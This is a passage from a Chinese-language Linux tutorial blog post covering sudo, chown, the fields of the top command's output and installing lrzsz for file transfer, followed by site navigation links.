/etc/group3、sudo用户权限操作比如我们使用普通用户操作用户或者操作用户组、以及修改网卡配置文件的时候,需要切换到root用户才操作,此时我们可以使用sudo命令提高普通用户的操作权限,以达到操作目的sudo:控制用户对系统命令的使用权限,root允许的操作。通过sudo可以提高普通用户的操作权限。使用者权限:普通用户使用root用户权限执行命令,操作sudo -ssudo vi /etc/sysconfig/network-scripts/ifcfg-ens33 4、更换文件所有者格式:chown [-R] 所有者 文件或目录 chown [-R] 所有者:所属组 文件或目录将kibana-8.3.3-linux-x86_64.tar.gz所有者改为用户sumchown -R sum /usr/sum/kibana-8.3.3-linux-x86_64.tar.gz将kibana-8.3.3-linux-x86_64.tar.gz所有者改为用户sum、所有组改为sumchown -R sum:sum /usr/sum/kibana-8.3.3-linux-x86_64.tar.gz十四、TOP实时占用的资源:toptop命令执行结果分为两个区域:统计信息区和进程信息区1、统计信息区TOP:任务队列信息,与uptime命令执行结果相同.15:33:39:系统时间up 5:40:主机已运行时间2 users:用户连接数(不是用户数,who命令)load average: 1.09, 1.04, 0.98:系统平均负载,统计最近1,5,15分钟的系统平均负载Tasks:进程信息123 total:进程总数3 running:正在运行的进程数120 sleeping:睡眠的进程数0 stopped:停止的进程数0 zombie:僵尸进程数%CPU(s):CPU信息(当有多个CPU时,这些内容可能会超过两行)42.1 us:用户空间所占CPU百分比2.0 sy:内核空间占用CPU百分比0.0 ni:用户进程空间内改变过优先级的进程占用CPU百分比49.2 id:空闲CPU百分比0.0 wa:等待输入输出的CPU时间百分比6.0 hi:硬件CPU终端占用百分比0.7 si:软中断占用百分比0.0 st:虚拟机占用百分比KiB Mem:内存信息(与第五行的信息类似与free命令类似)3780.9 total:物理内存总量727.4 free:已使用的内存总量668.8 used:空闲的内存总量(free + userd = total)2384.7 buff/cache:用作内核缓存的内存量KiB:swap信息2048.0 total:交换分区总量2046.0 free:已使用的交换分区总量2.0 used:空闲交换分区总量859.6 avail:缓冲的交换区总量,内存中的内容被换出到交换区,然后又被换入到内存,但是使用过的交换区没有被覆盖,交换区的这些内容已存在于内存中的交换区的大小,相应的内存再次被换出时可不必再对交换区写入。2、进程信息区PID:进程idUSER:进程所有者的用户名PR:优先级NI:nice值。负值表示高优先级,正值表示低优先级RES:进程使用的、未被换出的物理内存的大小%CPU:上次更新到现在的CPU时间占用百分比%MEM:进程使用的物理内存百分比TIME+:进程所使用的CPU时间总计,单位1/100秒COMMAND:命令名/行PPID:父进程idRUSER:Real user name(看了好多,都是这样写,也不知道和user有什么区别,欢迎补充此处)UID:进程所有者的idVIRT:进程使用的虚拟内存总量,单位kb。VIRT=SWAP+RESGROUP:进程所有者的组名TTY:启动进程的终端名。不是从终端启动的进程则显示为?NI:nice值。负值表示高优先级,正值表示低优先级P:最后使用的CPU,仅在多CPU环境下有意义TIME:进程使用的CPU时间总计,单位秒SWAP:进程使用的虚拟内存中被被换出的大小CODE:可执行代码占用的物理内存大小DATA:可执行代码以外的部分(数据段+栈)占用的物理内存大小SHR:共享内存大小nFLT:页面错误次数nDRT:最后一次写入到现在,被修改过的页面数S:进程状态(D=不可中断的睡眠状态,R=运行,S=睡眠,T=跟踪/停止,Z=僵尸进程)WCHAN:若该进程在睡眠,则显示睡眠中的系统函数名Flags:任务标志十五、文件安装1、文件下载(lrzsz)下载文件yum install -y lrzsz上传文件rz保存文件sz十六、文章PDF版本1、2022-02-08https://download.csdn.net/download/weixin_44624117/79721103
文章
存储  ·  网络协议  ·  Java  ·  Linux  ·  Shell  ·  网络安全  ·  Docker  ·  Windows  ·  Perl  ·  容器
2023-01-10
...
跳转至:
开发与运维
5774 人关注 | 133389 讨论 | 319145 内容
+ 订阅
  • Vue的组件一共有哪些?底层原理是什么?
  • Vue的控件一共有哪些?底层原理是什么?
  • 阿里云轻量应用服务器、云服务器、gpu云服务器最新优惠价格表
查看更多 >
安全
1243 人关注 | 24137 讨论 | 85751 内容
+ 订阅
  • 阿里云轻量应用服务器、云服务器、gpu云服务器最新优惠价格表
  • 【Java】5分钟带你了解什么是JVM?
  • RocketMQ x OpenTelemetry 分布式全链路追踪最佳实践
查看更多 >
云计算
21831 人关注 | 59783 讨论 | 58143 内容
+ 订阅
  • 阿里云轻量应用服务器、云服务器、gpu云服务器最新优惠价格表
  • 借AI之势,打破创意与想象的边界
  • 人工智能知识图谱之信息抽取:基于Labelstudio的UIE半监督深度学习的智能标注方案(云端版),提效。
查看更多 >
数据库
252940 人关注 | 52232 讨论 | 99139 内容
+ 订阅
  • 阿里云轻量应用服务器、云服务器、gpu云服务器最新优惠价格表
  • 这才叫开箱即用!
  • 玖章算术CEO叶正盛在杭州人工智能小镇AIGC论坛发表主题演讲
查看更多 >
人工智能
2870 人关注 | 12376 讨论 | 102566 内容
+ 订阅
  • 阿里云轻量应用服务器、云服务器、gpu云服务器最新优惠价格表
  • 【Java】5分钟带你了解什么是JVM?
  • 这才叫开箱即用!
查看更多 >